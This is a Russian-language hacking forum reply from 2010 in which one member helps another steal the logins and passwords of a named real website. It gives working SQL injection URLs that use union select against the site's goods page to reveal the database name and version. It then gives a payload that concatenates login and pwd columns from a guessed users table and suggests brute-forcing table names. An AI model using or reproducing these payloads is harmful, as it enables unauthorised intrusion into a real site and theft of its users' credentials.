02.10.2010, 21:43
|
|
Познающий
Регистрация: 24.03.2009
Сообщений: 54
С нами:
9017758
Репутация:
13
|
|
Сообщение от AttackPro
помогите найти логины и пароли сайта kitcom.ru
SQL inj:
http://www.kitcom.ru/goods/index.php?gm=-138+union+select+1,2,database()
http://www.kitcom.ru/goods/index.php?gm=-138+union+select+1,2,version()+--+
В 4.1.21 нету information_schema , значит не получится вывести таблицу с аккаунтами ...
Как выриант брутить таблицы
http://www.kitcom.ru/goods/index.php?gm=-138+union+select+1,2,concat_ws(0x3a,login,pwd)+fro m+users+--+
Подабрал users,accounts - дальше сам пробуй )
|
|
|